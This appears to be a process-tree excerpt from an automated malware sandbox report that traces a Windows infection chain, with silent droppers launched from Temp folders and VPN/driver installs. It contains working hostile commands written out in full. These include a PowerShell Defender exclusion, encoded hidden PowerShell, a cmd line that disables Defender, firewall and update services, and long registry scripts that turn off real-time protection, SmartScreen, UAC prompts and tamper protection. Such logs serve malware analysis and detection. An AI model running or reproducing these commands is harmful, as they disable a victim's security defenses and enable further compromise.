        "C:\Users\Admin\AppData\Local\Temp\XT7K2BO8Q7\multitimer.exe" 1 3.1616869710.605f794eeab4e 104
        7⤵
        
        PID:8128
        
        C:\Users\Admin\AppData\Local\Temp\XT7K2BO8Q7\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\XT7K2BO8Q7\multitimer.exe" 2 3.1616869710.605f794eeab4e
        8⤵
        
        PID:1632
        
        C:\Users\Admin\AppData\Local\Temp\xqxrqyaqeqh\AwesomePoolU1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xqxrqyaqeqh\AwesomePoolU1.exe"
        9⤵
        
        PID:8868
        
        C:\Users\Admin\AppData\Local\Temp\yrjnfwrrau3\Setup3310.exe
        
        "C:\Users\Admin\AppData\Local\Temp\yrjnfwrrau3\Setup3310.exe" /Verysilent /subid=577
        9⤵
        
        PID:8520
        
        C:\Users\Admin\AppData\Local\Temp\rq24ju0t4fl\bdw5mcpfj23.exe
        
        "C:\Users\Admin\AppData\Local\Temp\rq24ju0t4fl\bdw5mcpfj23.exe" /ustwo INSTALL
        9⤵
        
        PID:7340
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7340 -s 852
        10⤵
        Program crash
        
        PID:9708
        
        C:\Users\Admin\AppData\Local\Temp\p1j2t0ctctp\vict.exe
        
        "C:\Users\Admin\AppData\Local\Temp\p1j2t0ctctp\vict.exe" /VERYSILENT /id=535
        9⤵
        
        PID:8360
        
        C:\Users\Admin\AppData\Local\Temp\is-JFVLU.tmp\vict.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-JFVLU.tmp\vict.tmp" /SL5="$106C6,870426,780800,C:\Users\Admin\AppData\Local\Temp\p1j2t0ctctp\vict.exe" /VERYSILENT /id=535
        10⤵
        
        PID:884
        
        C:\Users\Admin\AppData\Local\Temp\is-7PTQL.tmp\winhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-7PTQL.tmp\winhost.exe" 535
        11⤵
        
        PID:9236
        
        C:\Users\Admin\AppData\Local\Temp\jqmzpwko5bd\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jqmzpwko5bd\app.exe" /8-23
        9⤵
        
        PID:8452
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Wispy-Snowflake'
        10⤵
        
        PID:7600
        
        C:\Program Files (x86)\Wispy-Snowflake\7za.exe
        
        "C:\Program Files (x86)\Wispy-Snowflake\7za.exe" e -p154.61.71.51 winamp.7z
        10⤵
        
        PID:440
        
        C:\Program Files (x86)\Wispy-Snowflake\app.exe
        
        "C:\Program Files (x86)\Wispy-Snowflake\app.exe" /8-23
        10⤵
        
        PID:4248
- - C:\Users\Admin\AppData\Local\Temp\72-3b238-344-01dbc-930c23c792ad0\Moxawaezhiki.exe
    "C:\Users\Admin\AppData\Local\Temp\72-3b238-344-01dbc-930c23c792ad0\Moxawaezhiki.exe"
    3⤵
    PID:5468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:3008

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\1d92d5f77d5f436e97b70fa9cecd7319 /t 2168 /p 1436
1⤵
PID:6516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:6900

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6600

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6668

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\cd5ed0af110b4dbb8f45bf661d852014 /t 2052 /p 6600
1⤵
PID:5156

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:4952

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
1⤵
PID:5204
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{7ba4bb0f-890a-704c-8879-4053a8fed649}\oemvista.inf" "9" "4d14a44ff" "0000000000000174" "WinSta0\Default" "000000000000016C" "208" "c:\program files (x86)\maskvpn\driver\win764"
  2⤵
  PID:6192
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000190"
  2⤵
  PID:4692

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
1⤵
PID:6832

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
1⤵
PID:2168

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6436

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\0fad592c81154983a86c0dd76c0590d2 /t 1540 /p 6436
1⤵
PID:7484

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe"
1⤵
PID:6036
- C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
  MaskVPNUpdate.exe /silent
  2⤵
  PID:8264

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7196

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\20fb3d8f907b4bd0ba4af886d4c320fe /t 7876 /p 7196
1⤵
PID:5144

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:6520

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:528

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:4488

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:244

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8752

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:9104

C:\Users\Admin\AppData\Local\Temp\is-8R7A7.tmp\Setup3310.tmp
"C:\Users\Admin\AppData\Local\Temp\is-8R7A7.tmp\Setup3310.tmp" /SL5="$304EC,138429,56832,C:\Users\Admin\AppData\Local\Temp\yrjnfwrrau3\Setup3310.exe" /Verysilent /subid=577
1⤵
PID:8436
- C:\Users\Admin\AppData\Local\Temp\is-8M5IB.tmp\Setup.exe
  "C:\Users\Admin\AppData\Local\Temp\is-8M5IB.tmp\Setup.exe" /Verysilent
  2⤵
  PID:8140

C:\Users\Admin\AppData\Local\Temp\AD75.tmp.exe
C:\Users\Admin\AppData\Local\Temp\AD75.tmp.exe
1⤵
PID:8812
- C:\Users\Admin\AppData\Local\Temp\AD75.tmp.exe
  "C:\Users\Admin\AppData\Local\Temp\AD75.tmp.exe"
  2⤵
  PID:9728
- - C:\Users\Admin\AppData\Local\Temp\AD75.tmp.exe
    C:\Users\Admin\AppData\Local\Temp\AD75.tmp.exe
    3⤵
    PID:10216
  - - C:\Users\Admin\AppData\Local\Temp\AD75.tmp.exe
      "C:\Users\Admin\AppData\Local\Temp\AD75.tmp.exe"
      4⤵
      PID:3020
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc.exe config "diagnosticshub.standardcollector.service" start= disabled & sc.exe stop "譕菬ⒸŽᔷ噓橗／鰕䇁㌀囶Ūｖ頕䇀耀⌽䑛" & sc.exe config "DiagTrack" start= disabled & sc.exe config "dmwappushservice" start= disabled & sc.exe config "DoSvc" start= disabled & sc.exe config "mpsdrv" start= disabled & sc.exe config "MpsSvc" start= disabled & sc.exe config "PcaSvc" start= disabled & sc.exe config "SDRSVC" start= disabled & sc.exe config "SecurityHealthService" start= disabled & sc.exe config "Sense" start= disabled & sc.exe config "UsoSvc" start= disabled & sc.exe config "WdBoot" start= disabled & sc.exe config "WdFilter" start= disabled & sc.exe config "WdNisDrv" start= disabled & sc.exe config "WdNisSvc" start= disabled & sc.exe config "WerSvc" start= disabled & sc.exe config "WinDefend" start= disabled & sc.exe config "WMPNetworkSvc" start= disabled & sc.exe config "wscsvc" start= disabled & sc.exe config "wuauserv" start= disabled
        5⤵
        
        PID:2960
      - C:\Windows\SysWOW64\sc.exe
        
        sc.exe config "diagnosticshub.standardcollector.service" start= disabled
        6⤵
        
        PID:1540
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'PreventOverride' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'EnabledV9' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\PCHealth\ErrorReporting';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'IncludeShutdownErrs' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'AllOrNone' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'IncludeMicrosoftApps' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'Disabled' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'IncludeWindowsApps' -Value 0; $key='HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Disabled' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DontShowUI' -Value 1; $key='HKCU:\SOFTWARE\Microsoft\Windows\Windows Error Reporting';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Disabled' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DontShowUI' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Scan_ScheduleDay' -Value 8; New-ItemProperty -Path $key -Force -Verbose -Name 'LocalSettingOverrideScan_ScheduleTime' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableEnhancedNotifications' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableGenericRePorts' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableBlockAtFirstSeen' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'LocalSettingOverrideSpynetReporting' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'SpynetReporting' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'SubmitSamplesConsent' -Value 2; $key='HKLM:\software\microsoft\Security Center';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'AntiVirusDisableNotify' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'FirewallDisableNotify' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'UpdatesDisableNotify' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'UacDisableNotify' -Value 1; $key='HKLM:\software\Policies\Microsoft\MRT';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'DontReportInfectionInformation' -Value 1; $key='HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose};New-ItemProperty -Path $key -Name 'DisableWindowsUpdateAccess' -Value 1 -Force -Verbose; New-ItemProperty -Path $key -Name 'SetDisableUXWUAccess' -Value 1 -Force -Verbose; New-ItemProperty -Path $key -Name 'DoNotConnectToWindowsUpdateInternetLocations' -Value 1 -Force -Verbose;New-ItemProperty -Path $key -Name 'DisableOSUpgrade' -Value 1 -Force -Verbose; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'NoAutoUpdate' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableFeaturedSoftware' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'AllowFastServiceStartup' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableAntiSpyware' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'ServiceKeepAlive' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableAntiVirus' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'PUAProtection' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'MpEnablePus' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableRealtimeMonitoring' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableBehaviorMonitoring' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableIOAVProtection' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableOnAccessProtection' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableRawWriteNotification' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableScanOnRealtimeEnable' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableBlockAtFirstSeen' -Value 1; $key='HKLM:\SOFTWARE\Microsoft\Windows Defender';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableAntiSpyware' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableAntiVirus' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\System';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableSmartScreen' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Features';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'TamperProtection' -Value 0; $key='HKLM:\SOFTWARE\Microsoft\Windows Defender';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'ProductStatus' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'ManagedDefenderProductType' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableRoutinelyTakingAction' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'OneTimeSqmDataSent' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Scan';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'ScanParameters' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'ScheduleDay' -Value 8; $key='HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'TaskbarNoNotification' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'HideSCAHealth' -Value 1; $key='HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'SmartScreenEnabled' -Type String -Value 'Off'; Set-ItemProperty 'HKLM:\software\microsoft\windows\currentversion\Explorer' -Force 'DisableNotificationCenter' -Value 1; Remove-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose SecurityHealth -ErrorAction SilentlyContinue;
        5⤵
        
        PID:4640
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" Remove-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose WindowsDefender -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose 'Windows Defender' -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose MSC -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose AvastUI.exe -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose SecurityHealth -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose MSC -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose WindowsDefender -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose 'Windows Defender' -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose AvastUI.exe -ErrorAction SilentlyContinue; $key='HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Maintenance';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'MaintenanceDisabled' -Value 1; $key='HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Maintenance';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'MaintenanceDisabled' -Value 1; $key='HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKLM:\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PhishingFilter';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'EnabledV9' -Value 0; $key='HKCU:\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PhishingFilter';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'EnabledV9' -Value 0; $key='HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKLM:\software\microsoft\windows\currentversion\AppHost';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableWebContentEvaluation' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows\DataCollection';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'AllowTelemetry' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'DoNotShowFeedbackNotifications' -Value 1; $key='HKLM:\SOFTWARE\Microsoft\Personalization\Settings';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'AcceptedPrivacyPolicy' -Value 0; $key='HKLM:\SYSTEM\CurrentControlSet\Control\WMI\AutoLogger\AutoLogger-Diagtrack-Listener';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Start' -Value 0; $key='HKLM:\SOFTWARE\Microsoft\Input\TIPC';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKLM:\Software\Microsoft\Internet Explorer\PhishingFilter';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'EnabledV8' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'EnabledV9' -Value 0; $key='HKLM:\software\microsoft\windows\currentversion\policies\system';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableLUA' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'ConsentPromptBehaviorAdmin' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'PromptOnSecureDesktop' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableInstallerDetection' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'ConsentPromptBehaviorUser' -Value 3; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableSecureUIAPaths' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'ValidateAdminCodeSignatures' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableVirtualization' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableUIADesktopToggle' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'FilterAdministratorToken' -Value 0; $key='HKLM:\SYSTEM\CurrentControlSet\Control\WMI\AutoLogger\SQMLogger';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Start' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows\AppCompat';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'AITEnable' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableUAR' -Value 1; $key='HKLM:\SOFTWARE\Microsoft\InputPersonalization';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'RestrictImplicitInkCollection' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'RestrictImplicitTextCollection' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'HarvestContacts' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows\TabletPC';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'PreventHandwritingDataSharing' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows\HandwritingErrorReports';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'PreventHandwritingErrorReports' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\SQMClient\Windows';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'CEIPEnable' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'CorporateSQMURL' -Value '0.0.0.0';
        5⤵
        
        PID:9964
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
